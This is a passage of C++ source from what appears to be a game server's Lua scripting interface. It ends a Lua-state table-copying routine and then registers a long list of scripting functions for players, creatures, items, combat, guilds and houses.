lua_newtable(to); lua_pushnil(from); // First key while(lua_next(from, -2)) { // Move value to the other state moveValue(from, to); // Value is popped, key is left // Move key to the other state lua_pushvalue(from, -1); // Make a copy of the key to use for the next iteration moveValue(from, to); // Key is in other state. // We still have the key in the 'from' state ontop of the stack lua_insert(to, -2); // Move key above value pushTable(to); // Set the key } break; } default: break; } lua_pop(from, 1); // Pop the value we just read } void LuaScriptInterface::registerFunctions() { //example(...) //lua_register(L, "name", C_function); //doSendPlayerExtendedOpcode(cid, opcode, buffer) lua_register(m_luaState, "doSendPlayerExtendedOpcode", LuaScriptInterface::luaDoSendPlayerExtendedOpcode); //getCreatureHealth(cid) lua_register(m_luaState, "getCreatureHealth", LuaScriptInterface::luaGetCreatureHealth); //openChannelDialog(cid) lua_register(m_luaState, "openChannelDialog", LuaScriptInterface::luaOpenChannelDialog); //getCreatureMaxHealth(cid) lua_register(m_luaState, "getCreatureMaxHealth", LuaScriptInterface::luaGetCreatureMaxHealth); //getCreatureMana(cid) lua_register(m_luaState, "getCreatureMana", LuaScriptInterface::luaGetCreatureMana); //getCreatureMaxMana(cid) lua_register(m_luaState, "getCreatureMaxMana", LuaScriptInterface::luaGetCreatureMaxMana); //getCreatureHideHealth(cid) lua_register(m_luaState, "getCreatureHideHealth", LuaScriptInterface::luaGetCreatureHideHealth); //doCreatureSetHideHealth(cid, hide) lua_register(m_luaState, "doCreatureSetHideHealth", LuaScriptInterface::luaDoCreatureSetHideHealth); //getCreatureSpeakType(cid) lua_register(m_luaState, "getCreatureSpeakType", LuaScriptInterface::luaGetCreatureSpeakType); //doCreatureSetSpeakType(cid, type) lua_register(m_luaState, "doCreatureSetSpeakType", LuaScriptInterface::luaDoCreatureSetSpeakType); //getCreatureLookDirection(cid) lua_register(m_luaState, "getCreatureLookDirection", LuaScriptInterface::luaGetCreatureLookDirection); //getPlayerLevel(cid) lua_register(m_luaState, "getPlayerLevel", LuaScriptInterface::luaGetPlayerLevel); //getPlayerExperience(cid) lua_register(m_luaState, "getPlayerExperience", LuaScriptInterface::luaGetPlayerExperience); //getPlayerMagLevel(cid[, ignoreBuffs = false]) lua_register(m_luaState, "getPlayerMagLevel", LuaScriptInterface::luaGetPlayerMagLevel); //getPlayerSpentMana(cid) lua_register(m_luaState, "getPlayerSpentMana", LuaScriptInterface::luaGetPlayerSpentMana); //getPlayerFood(cid) lua_register(m_luaState, "getPlayerFood", LuaScriptInterface::luaGetPlayerFood); //getPlayerAccess(cid) lua_register(m_luaState, "getPlayerAccess", LuaScriptInterface::luaGetPlayerAccess); //getPlayerGhostAccess(cid) lua_register(m_luaState, "getPlayerGhostAccess", LuaScriptInterface::luaGetPlayerGhostAccess); //getPlayerSkillLevel(cid, skillid) lua_register(m_luaState, "getPlayerSkillLevel", LuaScriptInterface::luaGetPlayerSkillLevel); //getPlayerSkillTries(cid, skillid) lua_register(m_luaState, "getPlayerSkillTries", LuaScriptInterface::luaGetPlayerSkillTries); //getPlayerTown(cid) lua_register(m_luaState, "getPlayerTown", LuaScriptInterface::luaGetPlayerTown); //getPlayerVocation(cid) lua_register(m_luaState, "getPlayerVocation", LuaScriptInterface::luaGetPlayerVocation); //getPlayerIp(cid) lua_register(m_luaState, "getPlayerIp", LuaScriptInterface::luaGetPlayerIp); //getPlayerRequiredMana(cid, magicLevel) lua_register(m_luaState, "getPlayerRequiredMana", LuaScriptInterface::luaGetPlayerRequiredMana); //getPlayerRequiredSkillTries(cid, skillId, skillLevel) lua_register(m_luaState, "getPlayerRequiredSkillTries", LuaScriptInterface::luaGetPlayerRequiredSkillTries); //getPlayerItemCount(cid, itemid[, subType = -1]) lua_register(m_luaState, "getPlayerItemCount", LuaScriptInterface::luaGetPlayerItemCount); //getPlayerMoney(cid) lua_register(m_luaState, "getPlayerMoney", LuaScriptInterface::luaGetPlayerMoney); //getPlayerSoul(cid) lua_register(m_luaState, "getPlayerSoul", LuaScriptInterface::luaGetPlayerSoul); //getPlayerFreeCap(cid) lua_register(m_luaState, "getPlayerFreeCap", LuaScriptInterface::luaGetPlayerFreeCap); //getPlayerLight(cid) lua_register(m_luaState, "getPlayerLight", LuaScriptInterface::luaGetPlayerLight); //getPlayerSlotItem(cid, slot) lua_register(m_luaState, "getPlayerSlotItem", LuaScriptInterface::luaGetPlayerSlotItem); //getPlayerWeapon(cid[, ignoreAmmo = false]) lua_register(m_luaState, "getPlayerWeapon", LuaScriptInterface::luaGetPlayerWeapon); //getPlayerItemById(cid, deepSearch, itemId[, subType = -1]) lua_register(m_luaState, "getPlayerItemById", LuaScriptInterface::luaGetPlayerItemById); //getPlayerDepotItems(cid, depotid) lua_register(m_luaState, "getPlayerDepotItems", LuaScriptInterface::luaGetPlayerDepotItems); //getPlayerGuildId(cid) lua_register(m_luaState, "getPlayerGuildId", LuaScriptInterface::luaGetPlayerGuildId); //getPlayerGuildName(cid) lua_register(m_luaState, "getPlayerGuildName", LuaScriptInterface::luaGetPlayerGuildName); //getPlayerGuildRankId(cid) lua_register(m_luaState, "getPlayerGuildRankId", LuaScriptInterface::luaGetPlayerGuildRankId); //getPlayerGuildRank(cid) lua_register(m_luaState, "getPlayerGuildRank", LuaScriptInterface::luaGetPlayerGuildRank); //getPlayerGuildNick(cid) lua_register(m_luaState, "getPlayerGuildNick", LuaScriptInterface::luaGetPlayerGuildNick); //getPlayerGuildLevel(cid) lua_register(m_luaState, "getPlayerGuildLevel", LuaScriptInterface::luaGetPlayerGuildLevel); //getPlayerGUID(cid) lua_register(m_luaState, "getPlayerGUID", LuaScriptInterface::luaGetPlayerGUID); //getPlayerNameDescription(cid) lua_register(m_luaState, "getPlayerNameDescription", LuaScriptInterface::luaGetPlayerNameDescription); //doPlayerSetNameDescription(cid, desc) lua_register(m_luaState, "doPlayerSetNameDescription", LuaScriptInterface::luaDoPlayerSetNameDescription); //getPlayerSpecialDescription(cid) lua_register(m_luaState, "getPlayerSpecialDescription", LuaScriptInterface::luaGetPlayerSpecialDescription); //doPlayerSetSpecialDescription(cid, desc) lua_register(m_luaState, "doPlayerSetSpecialDescription", LuaScriptInterface::luaDoPlayerSetSpecialDescription); //getPlayerAccountId(cid) lua_register(m_luaState, "getPlayerAccountId", LuaScriptInterface::luaGetPlayerAccountId); //getPlayerAccount(cid) lua_register(m_luaState, "getPlayerAccount", LuaScriptInterface::luaGetPlayerAccount); //getPlayerFlagValue(cid, flag) lua_register(m_luaState, "getPlayerFlagValue", LuaScriptInterface::luaGetPlayerFlagValue); //getPlayerCustomFlagValue(cid, flag) lua_register(m_luaState, "getPlayerCustomFlagValue", LuaScriptInterface::luaGetPlayerCustomFlagValue); //getPlayerPromotionLevel(cid) lua_register(m_luaState, "getPlayerPromotionLevel", LuaScriptInterface::luaGetPlayerPromotionLevel); //doPlayerSetPromotionLevel(cid, level) lua_register(m_luaState, "doPlayerSetPromotionLevel", LuaScriptInterface::luaDoPlayerSetPromotionLevel); //getPlayerGroupId(cid) lua_register(m_luaState, "getPlayerGroupId", LuaScriptInterface::luaGetPlayerGroupId); //doPlayerSetGroupId(cid, newGroupId) lua_register(m_luaState, "doPlayerSetGroupId", LuaScriptInterface::luaDoPlayerSetGroupId); //doPlayerSendOutfitWindow(cid) lua_register(m_luaState, "doPlayerSendOutfitWindow", LuaScriptInterface::luaDoPlayerSendOutfitWindow); //doPlayerLearnInstantSpell(cid, name) lua_register(m_luaState, "doPlayerLearnInstantSpell", LuaScriptInterface::luaDoPlayerLearnInstantSpell); //doPlayerUnlearnInstantSpell(cid, name) lua_register(m_luaState, "doPlayerUnlearnInstantSpell", LuaScriptInterface::luaDoPlayerUnlearnInstantSpell); //getPlayerLearnedInstantSpell(cid, name) lua_register(m_luaState, "getPlayerLearnedInstantSpell", LuaScriptInterface::luaGetPlayerLearnedInstantSpell); //getPlayerInstantSpellCount(cid) lua_register(m_luaState, "getPlayerInstantSpellCount", LuaScriptInterface::luaGetPlayerInstantSpellCount); //getPlayerInstantSpellInfo(cid, index) lua_register(m_luaState, "getPlayerInstantSpellInfo", LuaScriptInterface::luaGetPlayerInstantSpellInfo); //getInstantSpellInfo(cid, name) lua_register(m_luaState, "getInstantSpellInfo", LuaScriptInterface::luaGetInstantSpellInfo); //getCreatureStorage(uid, key) lua_register(m_luaState, "getCreatureStorage", LuaScriptInterface::luaGetCreatureStorage); //doCreatureSetStorage(uid, key, value) lua_register(m_luaState, "doCreatureSetStorage", LuaScriptInterface::luaDoCreatureSetStorage); //getStorage(key) lua_register(m_luaState, "getStorage", LuaScriptInterface::luaGetStorage); //doSetStorage(key, value) lua_register(m_luaState, "doSetStorage", LuaScriptInterface::luaDoSetStorage); //getChannelUsers(channelId) lua_register(m_luaState, "getChannelUsers", LuaScriptInterface::luaGetChannelUsers); //doPlayerOpenChannel(cid, channelId) lua_register(m_luaState, "doPlayerOpenChannel", LuaScriptInterface::luaDoPlayerOpenChannel); //getPlayersOnline() lua_register(m_luaState, "getPlayersOnline", LuaScriptInterface::luaGetPlayersOnline); //getTileInfo(pos) lua_register(m_luaState, "getTileInfo", LuaScriptInterface::luaGetTileInfo); //getThingFromPos(pos[, displayError = true]) lua_register(m_luaState, "getThingFromPos", LuaScriptInterface::luaGetThingFromPos); //getThing(uid) lua_register(m_luaState, "getThing", LuaScriptInterface::luaGetThing); //doTileQueryAdd(uid, pos[, flags[, displayError = true]]) lua_register(m_luaState, "doTileQueryAdd", LuaScriptInterface::luaDoTileQueryAdd); //doItemRaidUnref(uid) lua_register(m_luaState, "doItemRaidUnref", LuaScriptInterface::luaDoItemRaidUnref); //getThingPosition(uid) lua_register(m_luaState, "getThingPosition", LuaScriptInterface::luaGetThingPosition); //getTileItemById(pos, itemId[, subType = -1]) lua_register(m_luaState, "getTileItemById", LuaScriptInterface::luaGetTileItemById); //getTileItemByType(pos, type) lua_register(m_luaState, "getTileItemByType", LuaScriptInterface::luaGetTileItemByType); //getTileThingByPos(pos) lua_register(m_luaState, "getTileThingByPos", LuaScriptInterface::luaGetTileThingByPos); //getTopCreature(pos) lua_register(m_luaState, "getTopCreature", LuaScriptInterface::luaGetTopCreature); //doRemoveItem(uid[, count]) lua_register(m_luaState, "doRemoveItem", LuaScriptInterface::luaDoRemoveItem); //doPlayerFeed(cid, food) lua_register(m_luaState, "doPlayerFeed", LuaScriptInterface::luaDoFeedPlayer); //doPlayerSendCancel(cid, text) lua_register(m_luaState, "doPlayerSendCancel", LuaScriptInterface::luaDoPlayerSendCancel); //doCreatureSetNick(cid, nick) lua_register(m_luaState, "doCreatureSetNick", LuaScriptInterface::luaDoCreatureSetNick); //doPlayerSendDefaultCancel(cid, ReturnValue) lua_register(m_luaState, "doPlayerSendDefaultCancel", LuaScriptInterface::luaDoSendDefaultCancel); //getSearchString(fromPosition, toPosition[, fromIsCreature = false[, toIsCreature = false]]) lua_register(m_luaState, "getSearchString", LuaScriptInterface::luaGetSearchString); //getClosestFreeTile(cid, targetpos[, extended = false[, ignoreHouse = true]]) lua_register(m_luaState, "getClosestFreeTile", LuaScriptInterface::luaGetClosestFreeTile); //doTeleportThing(cid, newpos[, pushmove]) lua_register(m_luaState, "doTeleportThing", LuaScriptInterface::luaDoTeleportThing); //doTransformItem(uid, newId[, count/subType]) lua_register(m_luaState, "doTransformItem", LuaScriptInterface::luaDoTransformItem); //doCreatureSay(uid, text[, type = SPEAK_SAY[, ghost = false[, cid = 0[, pos]]]]) lua_register(m_luaState, "doCreatureSay", LuaScriptInterface::luaDoCreatureSay); //doSendMagicEffect(pos, type[, player]) lua_register(m_luaState, "doSendMagicEffect", LuaScriptInterface::luaDoSendMagicEffect); //doSendDistanceShoot(fromPos, toPos, type[, player]) lua_register(m_luaState, "doSendDistanceShoot", LuaScriptInterface::luaDoSendDistanceShoot); //doSendAnimatedText(pos, text, color[, player]) lua_register(m_luaState, "doSendAnimatedText", LuaScriptInterface::luaDoSendAnimatedText); //doPlayerAddSkillTry(cid, skillid, n[, useMultiplier]) lua_register(m_luaState, "doPlayerAddSkillTry", LuaScriptInterface::luaDoPlayerAddSkillTry); //doCreatureAddHealth(cid, health[, hitEffect[, hitColor[, force]]]) lua_register(m_luaState, "doCreatureAddHealth", LuaScriptInterface::luaDoCreatureAddHealth); //doCreatureAddMana(cid, mana) lua_register(m_luaState, "doCreatureAddMana", LuaScriptInterface::luaDoCreatureAddMana); //setCreatureMaxHealth(cid, health) lua_register(m_luaState, "setCreatureMaxHealth", LuaScriptInterface::luaSetCreatureMaxHealth); //setCreatureMaxMana(cid, mana) lua_register(m_luaState, "setCreatureMaxMana", LuaScriptInterface::luaSetCreatureMaxMana); //doPlayerSetMaxCapacity(cid, cap) lua_register(m_luaState, "doPlayerSetMaxCapacity", LuaScriptInterface::luaDoPlayerSetMaxCapacity); //doPlayerAddSpentMana(cid, amount[, useMultiplier]) lua_register(m_luaState, "doPlayerAddSpentMana", LuaScriptInterface::luaDoPlayerAddSpentMana); //doPlayerAddSoul(cid, soul) lua_register(m_luaState, "doPlayerAddSoul", LuaScriptInterface::luaDoPlayerAddSoul); //doPlayerAddItem(cid, itemid[, count/subtype[, canDropOnMap]]) //doPlayerAddItem(cid, itemid[, count[, canDropOnMap[, subtype]]]) //Returns uid of the created item lua_register(m_luaState, "doPlayerAddItem", LuaScriptInterface::luaDoPlayerAddItem); //doPlayerAddItemEx(cid, uid[, canDropOnMap = FALSE]) lua_register(m_luaState, "doPlayerAddItemEx", LuaScriptInterface::luaDoPlayerAddItemEx); //doPlayerSendTextMessage(cid, MessageClasses, message) lua_register(m_luaState, "doPlayerSendTextMessage", LuaScriptInterface::luaDoPlayerSendTextMessage); //doPlayerSendChannelMessage(cid, author, message, SpeakClasses, channel) lua_register(m_luaState, "doPlayerSendChannelMessage", LuaScriptInterface::luaDoPlayerSendChannelMessage); //doPlayerSendToChannel(cid, targetId, SpeakClasses, message, channel[, time]) lua_register(m_luaState, "doPlayerSendToChannel", LuaScriptInterface::luaDoPlayerSendToChannel); //doPlayerAddMoney(cid, money) lua_register(m_luaState, "doPlayerAddMoney", LuaScriptInterface::luaDoPlayerAddMoney); //doPlayerRemoveMoney(cid, money) lua_register(m_luaState, "doPlayerRemoveMoney", LuaScriptInterface::luaDoPlayerRemoveMoney); //doPlayerTransferMoneyTo(cid, target, money) lua_register(m_luaState, "doPlayerTransferMoneyTo", LuaScriptInterface::luaDoPlayerTransferMoneyTo); //doShowTextDialog(cid, itemid, text) lua_register(m_luaState, "doShowTextDialog", LuaScriptInterface::luaDoShowTextDialog); //doDecayItem(uid) lua_register(m_luaState, "doDecayItem", LuaScriptInterface::luaDoDecayItem); //doCreateItem(itemid[, type/count], pos) //Returns uid of the created item, only works on tiles. lua_register(m_luaState, "doCreateItem", LuaScriptInterface::luaDoCreateItem); //doCreateItemEx(itemid[, count/subType = -1]) lua_register(m_luaState, "doCreateItemEx", LuaScriptInterface::luaDoCreateItemEx); //doTileAddItemEx(pos, uid) lua_register(m_luaState, "doTileAddItemEx", LuaScriptInterface::luaDoTileAddItemEx); //doAddContainerItemEx(uid, virtuid) lua_register(m_luaState, "doAddContainerItemEx", LuaScriptInterface::luaDoAddContainerItemEx); //doRelocate(pos, posTo[, creatures = true]) //Moves all moveable objects from pos to posTo lua_register(m_luaState, "doRelocate", LuaScriptInterface::luaDoRelocate); //doCleanTile(pos[, forceMapLoaded = false]) lua_register(m_luaState, "doCleanTile", LuaScriptInterface::luaDoCleanTile); //doCreateTeleport(itemid, topos, createpos) lua_register(m_luaState, "doCreateTeleport", LuaScriptInterface::luaDoCreateTeleport); //doCreateMonster(name, pos[, displayError = true]) lua_register(m_luaState, "doCreateMonster", LuaScriptInterface::luaDoCreateMonster); //doCreateNpc(name, pos[, displayError = true]) lua_register(m_luaState, "doCreateNpc", LuaScriptInterface::luaDoCreateNpc); //doSummonMonster(cid, name) lua_register(m_luaState, "doSummonMonster", LuaScriptInterface::luaDoSummonMonster); //doConvinceCreature(cid, target) lua_register(m_luaState, "doConvinceCreature", LuaScriptInterface::luaDoConvinceCreature); //getMonsterTargetList(cid) lua_register(m_luaState, "getMonsterTargetList", LuaScriptInterface::luaGetMonsterTargetList); //getMonsterFriendList(cid) lua_register(m_luaState, "getMonsterFriendList", LuaScriptInterface::luaGetMonsterFriendList); //doMonsterSetTarget(cid, target) lua_register(m_luaState, "doMonsterSetTarget", LuaScriptInterface::luaDoMonsterSetTarget); //doMonsterChangeTarget(cid) lua_register(m_luaState, "doMonsterChangeTarget", LuaScriptInterface::luaDoMonsterChangeTarget); //getMonsterInfo(name) lua_register(m_luaState, "getMonsterInfo", LuaScriptInterface::luaGetMonsterInfo); //doAddCondition(cid, condition) lua_register(m_luaState, "doAddCondition", LuaScriptInterface::luaDoAddCondition); //doRemoveCondition(cid, type[, subId]) lua_register(m_luaState, "doRemoveCondition", LuaScriptInterface::luaDoRemoveCondition); //doRemoveConditions(cid[, onlyPersistent]) lua_register(m_luaState, "doRemoveConditions", LuaScriptInterface::luaDoRemoveConditions); //doRemoveCreature(cid[, forceLogout = true]) lua_register(m_luaState, "doRemoveCreature", LuaScriptInterface::luaDoRemoveCreature); //doMoveCreature(cid, direction) lua_register(m_luaState, "doMoveCreature", LuaScriptInterface::luaDoMoveCreature); //doPlayerSetPzLocked(cid, locked) lua_register(m_luaState, "doPlayerSetPzLocked", LuaScriptInterface::luaDoPlayerSetPzLocked); //doPlayerSetTown(cid, townid) lua_register(m_luaState, "doPlayerSetTown", LuaScriptInterface::luaDoPlayerSetTown); //doPlayerSetVocation(cid,voc) lua_register(m_luaState, "doPlayerSetVocation", LuaScriptInterface::luaDoPlayerSetVocation); //doPlayerRemoveItem(cid, itemid[, count[, subType]]) lua_register(m_luaState, "doPlayerRemoveItem", LuaScriptInterface::luaDoPlayerRemoveItem); //doPlayerAddExperience(cid, amount) lua_register(m_luaState, "doPlayerAddExperience", LuaScriptInterface::luaDoPlayerAddExperience); //doPlayerSetGuildId(cid, id) lua_register(m_luaState, "doPlayerSetGuildId", LuaScriptInterface::luaDoPlayerSetGuildId); //doPlayerSetGuildLevel(cid, level[, rank]) lua_register(m_luaState, "doPlayerSetGuildLevel", LuaScriptInterface::luaDoPlayerSetGuildLevel); //doPlayerSetGuildNick(cid, nick) lua_register(m_luaState, "doPlayerSetGuildNick", LuaScriptInterface::luaDoPlayerSetGuildNick); //doPlayerAddOutfit(cid, looktype, addon) lua_register(m_luaState, "doPlayerAddOutfit", LuaScriptInterface::luaDoPlayerAddOutfit); //doPlayerRemoveOutfit(cid, looktype[, addon = 0]) lua_register(m_luaState, "doPlayerRemoveOutfit", LuaScriptInterface::luaDoPlayerRemoveOutfit); //doPlayerAddOutfitId(cid, outfitId, addon) lua_register(m_luaState, "doPlayerAddOutfitId", LuaScriptInterface::luaDoPlayerAddOutfitId); //doPlayerRemoveOutfitId(cid, outfitId[, addon = 0]) lua_register(m_luaState, "doPlayerRemoveOutfitId", LuaScriptInterface::luaDoPlayerRemoveOutfitId); //canPlayerWearOutfit(cid, looktype[, addon = 0]) lua_register(m_luaState, "canPlayerWearOutfit", LuaScriptInterface::luaCanPlayerWearOutfit); //canPlayerWearOutfitId(cid, outfitId[, addon = 0]) lua_register(m_luaState, "canPlayerWearOutfitId", LuaScriptInterface::luaCanPlayerWearOutfitId); //doSetCreatureLight(cid, lightLevel, lightColor, time) lua_register(m_luaState, "doSetCreatureLight", LuaScriptInterface::luaDoSetCreatureLight); //getCreatureCondition(cid, condition[, subId]) lua_register(m_luaState, "getCreatureCondition", LuaScriptInterface::luaGetCreatureCondition); //doCreatureSetDropLoot(cid, doDrop) lua_register(m_luaState, "doCreatureSetDropLoot", LuaScriptInterface::luaDoCreatureSetDropLoot); //getPlayerLossPercent(cid, lossType) lua_register(m_luaState, "getPlayerLossPercent", LuaScriptInterface::luaGetPlayerLossPercent); //doPlayerSetLossPercent(cid, lossType, newPercent) lua_register(m_luaState, "doPlayerSetLossPercent", LuaScriptInterface::luaDoPlayerSetLossPercent); //doPlayerSetLossSkill(cid, doLose) lua_register(m_luaState, "doPlayerSetLossSkill", LuaScriptInterface::luaDoPlayerSetLossSkill); //getPlayerLossSkill(cid) lua_register(m_luaState, "getPlayerLossSkill", LuaScriptInterface::luaGetPlayerLossSkill); //doPlayerSwitchSaving(cid) lua_register(m_luaState, "doPlayerSwitchSaving", LuaScriptInterface::luaDoPlayerSwitchSaving); //doPlayerSave(cid[, shallow = false]) lua_register(m_luaState, "doPlayerSave", LuaScriptInterface::luaDoPlayerSave); //isPlayerPzLocked(cid) lua_register(m_luaState, "isPlayerPzLocked", LuaScriptInterface::luaIsPlayerPzLocked); //isPlayerSaving(cid) lua_register(m_luaState, "isPlayerSaving", LuaScriptInterface::luaIsPlayerSaving); //isCreature(cid) lua_register(m_luaState, "isCreature", LuaScriptInterface::luaIsCreature); //isContainer(uid) lua_register(m_luaState, "isContainer", LuaScriptInterface::luaIsContainer); //isMovable(uid) lua_register(m_luaState, "isMovable", LuaScriptInterface::luaIsMovable); //getCreatureByName(name) lua_register(m_luaState, "getCreatureByName", LuaScriptInterface::luaGetCreatureByName); //getPlayerByGUID(guid) lua_register(m_luaState, "getPlayerByGUID", LuaScriptInterface::luaGetPlayerByGUID); //getPlayerByNameWildcard(name~[, ret = false]) lua_register(m_luaState, "getPlayerByNameWildcard", LuaScriptInterface::luaGetPlayerByNameWildcard); //getPlayerGUIDByName(name[, multiworld = false]) lua_register(m_luaState, "getPlayerGUIDByName", LuaScriptInterface::luaGetPlayerGUIDByName); //getPlayerNameByGUID(guid[, multiworld = false[, displayError = true]]) lua_register(m_luaState, "getPlayerNameByGUID", LuaScriptInterface::luaGetPlayerNameByGUID); //registerCreatureEvent(uid, eventName) lua_register(m_luaState, "registerCreatureEvent", LuaScriptInterface::luaRegisterCreatureEvent); //getContainerSize(uid) lua_register(m_luaState, "getContainerSize", LuaScriptInterface::luaGetContainerSize); //getContainerCap(uid) lua_register(m_luaState, "getContainerCap", LuaScriptInterface::luaGetContainerCap); //getContainerItem(uid, slot) lua_register(m_luaState, "getContainerItem", LuaScriptInterface::luaGetContainerItem); //doAddContainerItem(uid, itemid[, count/subType]) lua_register(m_luaState, "doAddContainerItem", LuaScriptInterface::luaDoAddContainerItem); //getHouseInfo(houseId) lua_register(m_luaState, "getHouseInfo", LuaScriptInterface::luaGetHouseInfo); //getHouseAccessList(houseid, listId) lua_register(m_luaState, "getHouseAccessList", LuaScriptInterface::luaGetHouseAccessList); //getHouseByPlayerGUID(playerGUID) lua_register(m_luaState, "getHouseByPlayerGUID", LuaScriptInterface::luaGetHouseByPlayerGUID); //getHouseFromPos(pos) lua_register(m_luaState, "getHouseFromPos", LuaScriptInterface::luaGetHouseFromPos); //setHouseAccessList(houseid, listid, listtext) lua_register(m_luaState, "setHouseAccessList", LuaScriptInterface::luaSetHouseAccessList); //setHouseOwner(houseId, owner[, clean]) lua_register(m_luaState, "setHouseOwner", LuaScriptInterface::luaSetHouseOwner); //getWorldType() lua_register(m_luaState, "getWorldType", LuaScriptInterface::luaGetWorldType); //setWorldType(type) lua_register(m_luaState, "setWorldType", LuaScriptInterface::luaSetWorldType); //getWorldTime() lua_register(m_luaState, "getWorldTime", LuaScriptInterface::luaGetWorldTime); //getWorldLight() lua_register(m_luaState, "getWorldLight", LuaScriptInterface::luaGetWorldLight); //getWorldCreatures(type) //0 players, 1 monsters, 2 npcs, 3 all lua_register(m_luaState, "getWorldCreatures", LuaScriptInterface::luaGetWorldCreatures); //getWorldUpTime() lua_register(m_luaState, "getWorldUpTime", LuaScriptInterface::luaGetWorldUpTime); //getGuildId(guildName) lua_register(m_luaState, "getGuildId", LuaScriptInterface::luaGetGuildId); //getGuildMotd(guildId) lua_register(m_luaState, "getGuildMotd", LuaScriptInterface::luaGetGuildMotd); //getPlayerSex(cid[, full = false]) lua_register(m_luaState, "getPlayerSex", LuaScriptInterface::luaGetPlayerSex); //doPlayerSetSex(cid, newSex) lua_register(m_luaState, "doPlayerSetSex", LuaScriptInterface::luaDoPlayerSetSex); //createCombatArea({area}[, {extArea}]) lua_register(m_luaState, "createCombatArea", LuaScriptInterface::luaCreateCombatArea); //createConditionObject(type[, ticks[, buff[, subId]]]) lua_register(m_luaState, "createConditionObject", LuaScriptInterface::luaCreateConditionObject); //setCombatArea(combat, area) lua_register(m_luaState, "setCombatArea", LuaScriptInterface::luaSetCombatArea); //setCombatCondition(combat, condition) lua_register(m_luaState, "setCombatCondition", LuaScriptInterface::luaSetCombatCondition); //setCombatParam(combat, key, value) lua_register(m_luaState, "setCombatParam", LuaScriptInterface::luaSetCombatParam); //setConditionParam(condition, key, value) lua_register(m_luaState, "setConditionParam", LuaScriptInterface::luaSetConditionParam); //addDamageCondition(condition, rounds, time, value) lua_register(m_luaState, "addDamageCondition", LuaScriptInterface::luaAddDamageCondition); //addOutfitCondition(condition, outfit) lua_register(m_luaState, "addOutfitCondition", LuaScriptInterface::luaAddOutfitCondition); //setCombatCallBack(combat, key, function_name) lua_register(m_luaState, "setCombatCallback", LuaScriptInterface::luaSetCombatCallBack); //setCombatFormula(combat, type, mina, minb, maxa, maxb[, minl, maxl[, minm, maxm[, minc[, maxc]]]]) lua_register(m_luaState, "setCombatFormula", LuaScriptInterface::luaSetCombatFormula); //setConditionFormula(combat, mina, minb, maxa, maxb) lua_register(m_luaState, "setConditionFormula", LuaScriptInterface::luaSetConditionFormula); //doCombat(cid, combat, param) lua_register(m_luaState, "doCombat", LuaScriptInterface::luaDoCombat); //createCombatObject() lua_register(m_luaState, "createCombatObject", LuaScriptInterface::luaCreateCombatObject); //doCombatAreaHealth(cid, type, pos, area, min, max, effect) lua_register(m_luaState, "doCombatAreaHealth", LuaScriptInterface::luaDoCombatAreaHealth); //doTargetCombatHealth(cid, target, type, min, max, effect) lua_register(m_luaState, "doTargetCombatHealth", LuaScriptInterface::luaDoTargetCombatHealth); //doCombatAreaMana(cid, pos, area, min, max, effect) lua_register(m_luaState, "doCombatAreaMana", LuaScriptInterface::luaDoCombatAreaMana); //doTargetCombatMana(cid, target, min, max, effect) lua_register(m_luaState, "doTargetCombatMana", LuaScriptInterface::luaDoTargetCombatMana); //doCombatAreaCondition(cid, pos, area, condition, effect) lua_register(m_luaState, "doCombatAreaCondition", LuaScriptInterface::luaDoCombatAreaCondition); //doTargetCombatCondition(cid, target, condition, effect) lua_register(m_luaState, "doTargetCombatCondition", LuaScriptInterface::luaDoTargetCombatCondition); //doCombatAreaDispel(cid, pos, area, type, effect) lua_register(m_luaState, "doCombatAreaDispel", LuaScriptInterface::luaDoCombatAreaDispel); //doTargetCombatDispel(cid, target, type, effect) lua_register(m_luaState, "doTargetCombatDispel", LuaScriptInterface::luaDoTargetCombatDispel); //doChallengeCreature(cid, target) lua_register(m_luaState, "doChallengeCreature", LuaScriptInterface::luaDoChallengeCreature); //numberToVariant(number) lua_register(m_luaState, "numberToVariant", LuaScriptInterface::luaNumberToVariant); //stringToVariant(string) lua_register(m_luaState, "stringToVariant", LuaScriptInterface::luaStringToVariant); //positionToVariant(pos) lua_register(m_luaState, "positionToVariant", LuaScriptInterface::luaPositionToVariant); //targetPositionToVariant(pos) lua_register(m_luaState, "targetPositionToVariant", LuaScriptInterface::luaTargetPositionToVariant); //variantToNumber(var) lua_register(m_luaState, "variantToNumber", LuaScriptInterface::luaVariantToNumber); //variantToString(var) lua_register(m_luaState, "variantToString", LuaScriptInterface::luaVariantToString); //variantToPosition(var) lua_register(m_luaState, "variantToPosition", LuaScriptInterface::luaVariantToPosition); //doChangeSpeed(cid, delta) lua_register(m_luaState, "doChangeSpeed", LuaScriptInterface::luaDoChangeSpeed); //doCreatureChangeOutfit(cid, outfit) lua_register(m_luaState, "doCreatureChangeOutfit", LuaScriptInterface::luaDoCreatureChangeOutfit); //doSetMonsterOutfit(cid, name, time) lua_register(m_luaState, "doSetMonsterOutfit", LuaScriptInterface::luaSetMonsterOutfit); //doSetItemOutfit(cid, item, time) lua_register(m_luaState, "doSetItemOutfit", LuaScriptInterface::luaSetItemOutfit); //doSetCreatureOutfit(cid, outfit, time) lua_register(m_luaState, "doSetCreatureOutfit", LuaScriptInterface::luaSetCreatureOutfit); //getCreatureOutfit(cid) lua_register(m_luaState, "getCreatureOutfit", LuaScriptInterface::luaGetCreatureOutfit); //getCreatureLastPosition(cid) lua_register(m_luaState, "getCreatureLastPosition", LuaScriptInterface::luaGetCreatureLastPosition); //getCreatureName(cid) lua_register(m_luaState, "getCreatureName", LuaScriptInterface::luaGetCreatureName); //getCreatureSpeed(cid) lua_register(m_luaState, "getCreatureSpeed", LuaScriptInterface::luaGetCreatureSpeed); //getCreatureBaseSpeed(cid) lua_register(m_luaState, "getCreatureBaseSpeed", LuaScriptInterface::luaGetCreatureBaseSpeed); //getCreatureTarget(cid) lua_register(m_luaState, "getCreatureTarget", LuaScriptInterface::luaGetCreatureTarget); //isSightClear(fromPos, toPos, floorCheck) lua_register(m_luaState, "isSightClear", LuaScriptInterface::luaIsSightClear); //isInArray(array, value[, caseSensitive = false]) lua_register(m_luaState, "isInArray", LuaScriptInterface::luaIsInArray); //addEvent(callback, delay, ...) lua_register(m_luaState, "addEvent", LuaScriptInterface::luaAddEvent); //stopEvent(eventid) lua_register(m_luaState, "stopEvent", LuaScriptInterface::luaStopEvent); //getPlayersByAccountId(accId) lua_register(m_luaState, "getPlayersByAccountId", LuaScriptInterface::luaGetPlayersByAccountId); //getAccountIdByName(name) lua_register(m_luaState, "getAccountIdByName", LuaScriptInterface::luaGetAccountIdByName); //getAccountByName(name) lua_register(m_luaState, "getAccountByName", LuaScriptInterface::luaGetAccountByName); //getAccountIdByAccount(accName) lua_register(m_luaState, "getAccountIdByAccount", LuaScriptInterface::luaGetAccountIdByAccount); 